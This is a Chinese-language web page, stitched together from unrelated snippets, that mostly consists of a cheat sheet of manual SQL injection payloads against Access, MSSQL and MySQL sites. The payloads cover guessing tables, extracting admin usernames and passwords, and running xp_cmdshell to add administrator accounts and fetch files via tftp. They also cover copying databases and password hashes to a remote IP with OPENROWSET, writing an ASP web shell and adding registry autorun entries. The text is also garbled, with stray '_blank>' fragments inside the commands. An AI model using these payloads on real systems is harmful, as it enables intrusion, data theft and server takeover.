精华内容
下载资源
问答
  • SQL注入语句

    2012-05-07 13:54:18
    经典的SQL注入语句,里面有的有注释啊,可以参考使用
  • 常用Sql注入语句 常用Sql注入语句 常用Sql注入语句
  • SQL注入语句,防止sql注入语句,验证sql注入
  • 啊D注入工具中使用的SQL注入语句-1.txt
  • 文章来源 渗透常用SQL注入语句大全 - 小菜希 - 博客园 简单的SQL注入——入门
    展开全文
  • SQL注入-概念SQL注入-MySQL注入基础有了上述1、2的基础知识我们来看一个SQL注入的案列。代码链接:https://github.com/PrivateThink/sqlinjection上述代码是用springboot搭建的测试环境,用来测试SQL注入,接下来...
    1. SQL注入-概念
    2. SQL注入-MySQL注入基础

    有了上述1、2的基础知识我们来看一个SQL注入的案列。

    代码链接:https://github.com/PrivateThink/sqlinjection

    上述代码是用springboot搭建的测试环境,用来测试SQL注入,接下来所有的SQL系列讲述都会用到这个测试代码。有兴趣的可以下载下来跟着SQL注入系列教程进行学习。

    当请求链接:

    http://localhost:8080/user/name?name=lingheng'

    时,数据库将会执行下面SQL语句:

    select * from t_person where Fname='lingheng''

    当参数name=lingheng' 时,上述的SQL语句是不规范的,所以会返回错误:

    ac87f073232076c8928248e1752398da.png

    注入时服务端返回错误

    由于SQL语句中多了一个单引号" ' ",数据库执行错误,服务器直接返回错误的信息。从上图的错误信息中可以清楚的看到执行的SQL语句,以及网站使用的数据为 MySQL , 错误的信息回显在网页上会给攻击者提供必要的攻击信息,方便攻击者构造SQL注入语句进行攻击。

    我是小图灵视界,会不定时更新互联网安全、互联网资源、互联网技术、以及互联网工具的文章,欢迎各位进行关注!

    SQL注入系列

    1. SQL注入-概念
    2. SQL注入-MySQL注入基础
    3. SQL注入-案例
    展开全文
  • sql注入语句示例大全Order By is a SQL command that lets you sort the resulting output from a SQL query. Order By是一个SQL命令,可让您对SQL查询的结果输出进行排序。 订购依据(ASC,DESC) (Order By (ASC, ...

    sql注入语句示例大全

    Order By is a SQL command that lets you sort the resulting output from a SQL query.

    Order By是一个SQL命令,可让您对SQL查询的结果输出进行排序。

    订购依据(ASC,DESC) (Order By (ASC, DESC))

    ORDER BY gives us a way to SORT the result set by one or more of the items in the SELECT section. Here is an SQL sorting the students by FullName in descending order. The default sort order is ascending (ASC) but to sort in the opposite order (descending) you use DESC.

    ORDER BY提供了一种对SELECT部分​​中一个或多个项目的结果集进行排序的方法。 这是一个按FullName降序对学生进行排序SQL。 默认的排序顺序为升序(ASC),但要使用相反的顺序(降序),请使用DESC。

    Here's the query

    这是查询

    SELECT studentID, FullName, sat_score
    FROM student
    ORDER BY FullName DESC;

    And here's the resulting data, presented in a nice descending table.

    这是结果数据,以漂亮的降序表显示。

    +-----------+------------------------+-----------+
    | studentID | FullName               | sat_score |
    +-----------+------------------------+-----------+
    |         2 | Teri Gutierrez         |       800 |
    |         3 | Spencer Pautier        |      1000 |
    |         6 | Sophie Freeman         |      1200 |
    |         9 | Raymond F. Boyce       |      2400 |
    |         1 | Monique Davis          |       400 |
    |         4 | Louis Ramsey           |      1200 |
    |         7 | Edgar Frank "Ted" Codd |      2400 |
    |         8 | Donald D. Chamberlin   |      2400 |
    |         5 | Alvin Greene           |      1200 |
    +-----------+------------------------+-----------+
    9 rows in set (0.00 sec)

    Here is the UN-ORDERED, current, full student list to compare to the above.

    这是与上述内容比较的未排序,当前的完整学生列表。

    SELECT studentID, FullName, sat_score, rcd_updated FROM student;
    +-----------+------------------------+-----------+---------------------+
    | studentID | FullName               | sat_score | rcd_updated         |
    +-----------+------------------------+-----------+---------------------+
    |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 |
    |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 |
    |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 |
    |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 |
    |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 |
    |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 |
    |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 |
    |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 |
    |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 |
    +-----------+------------------------+-----------+---------------------+
    9 rows in set (0.00 sec)

    As with all of these SQL things there is MUCH MORE to them than what’s in this introductory guide.

    与所有这些SQL事物一样,它们比本入门指南中的内容要多得多。

    I hope this at least gives you enough to get started.

    我希望这至少能给您足够的入门。

    Please see the manual for your database manager and have fun trying different options yourself.

    请参阅数据库管理员的手册,并尝试自己尝试其他选项,这很有趣。

    翻译自: https://www.freecodecamp.org/news/sql-order-by-statement-example-sytax/

    sql注入语句示例大全

    展开全文
  • 纯手工SQL注入语句

    2019-11-26 11:12:45
    纯手工SQL注入语句 第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 ...

    纯手工SQL注入语句

    第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

    数字型:and 1=1 and 1=2 判断是否存在注入
    字符型:’ and ‘1’=‘1 ’ and ‘1’=‘2
    搜索型: 关键字%’ and 1=1 and ‘%’=’% 关键字%’ and 1=2 and ‘%’=’%

    IIS报错情况下使用:
    and user>0 (判断是ACCESS还是MSSQL)

    不报错则使用各自数据库特性来判断
    and (select count() from msysobjects)>0 (返回权限不足access数据库)
    and (select count(
    ) from sysobjects)>0 (返回正常则为MSSQL数据库)

    and db_name()>0 (返回数据库名)
    and 0<>(select @@version)-- (判断版本信息)
    and db_name()>0 (返回数据库名)

    **注意:猜解之前先要找到后台地址,不然白忙了
    ACCESS注入:

    猜解表名(正常则存在admin,不正常则不存在)
    and exists (select * from [admin])
    and (Select Count(*) from Admin)>0

    猜解字段:(字段username存在则正常,不正常则不存在)
    and (Select username from Admin)>0

    and exists (select username from [admin])

    猜解用户名和密码长度
    and (select top 1 len(username) from Admin)>0
    and (select top 1 len(password) from Admin)>0
    原 理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.

    猜解用户
    and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
    当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。
    同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
    到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。
    注意的是英文和数字的ASCII码在1-128之间…

    MSSQL注入:

    having 1=1-- 【爆出一个表名及字段,如:列 ‘users.ID’ 在选择列表中无效】
    group by users.ID having 1=1–
    group by users.ID, users.username, users.password, users.privs having 1=1–
    ; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新记录】

    猜解表名:
    SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。
    and (select top 1 name from sysobjects where xtype=‘u’)>0 (得到第一个表名:比如user)
    and (select top 1 name from sysobjects where xtype=‘u’ and name not in (‘user’))>0 得到第二个表名,后面的以此类推。。

    猜解列名:
    用 到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects 中的标识号,column_id=1,2,3表明admin的第1,2,3列。
    and (select top 1 col_name(object_id(‘admin’),1) from sysobjects)>0 【得到admin字段的第一个列名“username”依次类推,得到“password”“id”等等】

    猜解字段内容:
    and (select top 1 username from [admin])>0 【直接得到用户名】
    and (select top 1 password from [admin])>0 【直接得到密码】

    UNION联合查询:
    select name,password,id from user union select user,pwd,uid from 表名
    and 1=1 union select 1,2,3,4,5… from 表名 (数值从1开始慢慢加,如果加到5返回正常,那就存在5个字段)

    ASCII逐字解码法:

    1、猜解列长度
    and (select top 1 len(列名)from 表名)>N
    其中N是数字,变换这个N的值猜解列长度,当N为6正确,为7错误,则长度为7
    猜解第二条记录就该使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

    2、猜解用户和密码
    ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码
    猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码
    区间判断语句:…between…and…
    中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。
    例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码

    ASCII逐字解码法的应用:
    1、猜解表名:and (select count() from admin)<>0
    2、猜解列名:and (select count(列名) from 表名)<>0
    3、猜解用户个数:and (select count(
    ) from 表名)>1,2… 2正常,3错误,表中有3条记录。
    4、猜解用户名的长度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
    5、猜解用户名:and (select count()from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
    最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
    6、猜解管理员的密码:
    按照上面的原理,把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到密码了。
    MYSQL+PHP注入:
    1.判断是否存在注入,加’;and 1=1 ;and 1=2
    2.判断版本 and ord(mid(version(),1,1))>51 代替。
    5.判断数据库连接帐号有没有写权限,and (select count(
    ) from mysql.user)>0 οnerrοr=alert(/xss/) width=150> ( 表示注释)
    <img src=vbscript:msgbox (“xss”)>

    2.猜表一般的表的名称无非是admin adminuser user pass password 等…
    and 0<>(select count(*) from )
    and 0<>(select count(
    ) from admin) —判断是否存在admin这张表

    3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
    and 0<(select count() from admin)
    and 1<(select count(
    ) from admin)

    4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

    and 1=(select count() from admin where len()>0)–
    and 1=(select count() from admin where len(用户字段名称name)>0)
    and 1=(select count(
    ) from admin where len(_blank>密码字段名称password)>0)

    5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
    and 1=(select count() from admin where len()>0)
    and 1=(select count() from admin where len(name)>6) 错误
    and 1=(select count(
    ) from admin where len(name)>5) 正确 长度是6
    and 1=(select count(*) from admin where len(name)=6) 正确

    and 1=(select count() from admin where len(password)>11) 正确
    and 1=(select count(
    ) from admin where len(password)>12) 错误 长度是12
    and 1=(select count() from admin where len(password)=12) 正确
    6.猜解字符
    and 1=(select count(
    ) from admin where left(name,1)=a) —猜解用户帐号的第一位
    and 1=(select count() from admin where left(name,2)=ab)—猜解用户帐号的第二位
    就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
    and 1=(select top 1 count(
    ) from Admin where Asc(mid(pass,5,1))=51) –
    这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的 ASSIC码就OK.最后把结果再转换成字符.
    group by users.id having 1=1–红黑联盟:十三年IT技术门户 精英梦想由此起航 (网络安全,黑客防御,信息安全,编程,系统,网络)
    group by users.id, users.username, users.password, users.privs having 1=1–
    ; insert into users values( 666, attacker, foobar, 0xffff )–

    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable-
    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
    UNION Select TOP 1 login_blank>_name FROM logintable-
    UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–
    看_blank>服务器打的补丁=出错了打了SP4补丁
    and 1=(select @@VERSION)–

    看_blank>数据库连接账号的权限,返回正常,证明是 _blank>服务器角色sysadmin权限。
    and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–

    判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

    and sa=(Select System_blank>_user)–
    and user_blank>_name()=dbo–
    and 0<>(select user_blank>_name()–
    看xp_blank>_cmdshell是否删除
    and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)–

    xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
    ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–

    反向PING自己实验
    ;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

    加帐号
    ;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

    创建一个虚拟目录E盘:
    ;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,”e:\”–

    访问属性:(配合写入一个webshell)
    declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

    爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
    and 0<>(select top 1 paths from newtable)–

    得到库名(从1到5都是系统的id,6以上才可以判断)
    and 1=(select name from master.dbo.sysdatabases where dbid=7)–
    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名

    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

    and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
    (id,…)) 来暴出其他的字段
    and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
    依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段
    and 0<>(select count() from master.dbo.sysdatabases where name>1 and dbid=6)
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
    and 0<>(select count(
    ) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
    and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

    ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
    ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

    得到WEB路径
    ;create table [dbo].[swap] ([swappass]char);–
    and (select top 1 swappass from swap)=1–
    ;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master…xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)–
    ;use ku1;–
    ;create table cmd (str image);– 建立image类型的表cmd

    存在xp_blank>_cmdshell的测试过程:
    ;exec master…xp_blank>_cmdshell dir
    ;exec master.dbo.sp_blank>_addlogin jiaoniang;SQL;execmaster.dbo.spblank>passwordnull,jiaoniang;– 加SQL帐号 ;exec master.dbo.sp_blank>_password null,jiaoniang,1866574;–
    ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
    ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
    ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
    exec master…xp_blank>_servicecontrol start, schedule 启动_blank>服务
    exec master…xp_blank>_servicecontrol start, server
    ; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
    ;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
    ; exec master…xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件

    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:
    ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat

    如果被限制则可以。
    select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
    查询构造:

    Select * FROM news Where id=… AND topic=… AND ……
    adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
    select 123;–
    ;use master;–
    :a or name like fff%;– 显示有一个叫ffff的用户哈。
    and 1<>(select count(email) from [user]);–
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
    ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
    ;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
    ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
    ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–

    上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
    通过查看ffff的用户资料可得第一个用表叫ad
    然后根据表名 ad得到这个表的ID 得到第二个表的名字

    insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
    insert into users values( 667,123,123,0xffff)–
    insert into users values ( 123, admin–, password, 0xffff)–
    ;and user>0
    ;and (select count() from sysobjects)>0
    ;and (select count(
    ) from mysysobjects)>0 //为access_blank>数据库

    枚举出数据表名
    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–
    这是将第一个表名更新到aaa的字段处。
    读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
    然后id=1552 and exists(select * from aaa where aaa>5)
    读出第二个表,一个个的读出,直到没有为止。
    读字段是这样:
    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–
    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

    [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
    通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

    [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
    update 表名 set 字段=(select top 1 col_blank>_name(object_blank>id(要查询的数据表名),字段列如:1) [ where 条件]
    绕过IDS的检测[使用变量]
    ;declare @a sysname set @a=xp_blank>
    +cmdshell exec @a dir c:
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:
    1、 开启远程_blank>数据库
    基本语法
    select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
    参数: (1) OLEDB Provider name
    2、 其中连接字符串参数可以是任何端口用来连接,比如
    select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
    3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
    基本语法:
    insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
    这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
    select * from master.dbo.sysdatabases
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
    select * from user_blank>_database.dbo.sysobjects
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
    select * from user_blank>_database.dbo.syscolumns

    复制_blank>数据库:
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database…table1
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database…table2

    复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
    insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
    得到hash之后,就可以进行暴力破解。

    遍历目录的方法: 先创建一个临时表:temp

    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
    ;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
    ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:;– 获得子目录列表
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– 获得所有子目录的目录树结构,并寸入temp表中
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;– 查看某个文件的内容
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:;–
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;–
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– (xp_blank>_dirtree适用权限PUBLIC)

    写入表:
    语句1:and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));–
    语句2:and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin));–
    语句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–
    语句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
    语句5:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–
    语句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–

    语句7:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
    语句8:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–
    语句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–

    把路径写到表中去:

    ;create table dirs(paths varchar(100), id int)–
    ;insert dirs exec master.dbo.xp_blank>_dirtree c:\–
    and 0<>(select top 1 paths from dirs)–
    and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–
    ;create table dirs1(paths varchar(100), id int)–
    ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
    and 0<>(select top 1 paths from dirs1)–

    把_blank>数据库备份到网页目录:下载

    ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;–

    and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
    and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
    and 1=(select user_blank>_id from USER_blank>_LOGIN)
    and 0=(select user from USER_blank>_LOGIN where user>1)

    -=- wscript.shell example -=-
    declare @o int
    exec sp_blank>_oacreate wscript.shell, @o out
    exec sp_blank>_oamethod @o, run, NULL, notepad.exe
    ; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–

    declare @o int, @f int, @t int, @ret int
    declare @line varchar(8000)
    exec sp_blank>_oacreate scripting.filesystemobject, @o out
    exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
    exec @ret = sp_blank>_oamethod @f, readline, @line out
    while( @ret = 0 )
    begin
    print @line
    exec @ret = sp_blank>_oamethod @f, readline, @line out
    end

    declare @o int, @f int, @t int, @ret int
    exec sp_blank>_oacreate scripting.filesystemobject, @o out
    exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
    exec @ret = sp_blank>_oamethod @f, writeline, NULL,
    <% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>

    declare @o int, @ret int
    exec sp_blank>_oacreate speech.voicetext, @o out
    exec sp_blank>_oamethod @o, register, NULL, foo, bar
    exec sp_blank>_oasetproperty @o, speed, 150
    exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
    waitfor delay 00:00:05

    ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–

    xp_blank>_dirtree适用权限PUBLIC
    exec master.dbo.xp_blank>_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
    create table dirs(paths varchar(100), id int)
    建表,这里建的表是和上面 xp_blank>_dirtree相关连,字段相等、类型相同。
    insert dirs exec master.dbo.xp_blank>_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
    **哇哈哈
    1、返回的是连接的数据库名
    and db_name()>0
    2、作用是获取连接用户名
    and user>0
    3、将数据库备份到Web目录下面
    ;backup database 数据库名 to disk=‘c:\inetpub\wwwroot\1.db’;–
    4、显示SQL系统版本
    and 1=(select @@VERSION) 或and 1=convert(int,@@version)–
    5、判断xp_cmdshell扩展存储过程是否存在
    and 1=(SELECT count() FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name =‘xp_cmdshell’)
    6、恢复xp_cmdshell扩展存储的命令
    ;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,‘e:\inetput\web\xplog70.dll’;–
    7、向启动组中写入命令行和执行程序
    ;EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows\CurrentVersion
    Run’,‘help1’,‘REG_SZ’,‘cmd.exe /c net user test ptlove /add’
    8、查看当前的数据库名称
    and 0 <> db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())–
    9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令(同第76)
    10、则把得到的数据内容全部备份到WEB目录下
    ;backup database 数据库名 to disk=‘c:\inetpub\wwwroot\save.db’
    11、通过复制CMD创建UNICODE漏洞
    ;exec master.dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe”
    12、遍历系统的目录结构,分析结果并发现WEB虚拟目录
    先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
    (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;–
    通过查询temp的内容来获得驱动器列表及相关信息
    (2)利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;–
    (3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;-- (实验成功)
    13、查看某个文件的内容,可以通过执行xp_cmdsell
    ;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;–
    14、将一个文本文件插入到一个临时表中
    ;bulk insert temp(id) from ‘c:\inetpub\wwwroot\index.asp’
    15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
    ;delete from temp;–
    16、浏览TEMP表的方法是:
    and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的数据库名
    17、猜解所有数据库名称
    and (select count(
    ) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分别得到其它库名
    18、猜解数据库中用户名表的名称
